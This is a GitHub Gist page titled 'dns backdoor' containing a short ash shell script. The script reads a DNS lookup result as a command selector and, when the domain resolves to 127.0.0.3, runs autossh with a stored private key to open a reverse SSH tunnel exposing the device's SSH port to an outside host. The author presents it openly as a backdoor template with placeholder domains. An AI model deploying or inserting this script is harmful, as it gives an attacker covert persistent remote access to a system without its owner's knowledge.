Last active
August 29, 2015 14:16
-
-
Save aojea/72f9b60c90841ab10bf7 to your computer and use it in GitHub Desktop.
dns backdoor
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/ash | |
TASK=`ping -c 1 your.domain.here | grep PING | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}'` | |
case $TASK in | |
127.0.0.1) | |
#Your code here | |
Message="Ok1" | |
;; | |
127.0.0.2) | |
#Your code here | |
Message="Ok2" | |
;; | |
127.0.0.3) | |
/usr/sbin/autossh -f -M 0 -i /etc/dropbear/id_rsa -N -T -R 1001:127.0.0.1:22 user@your.sshhost.here | |
Message="Ok3" | |
;; | |
*) | |
Message="Non matching" | |
;; | |
esac | |
echo $Message |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment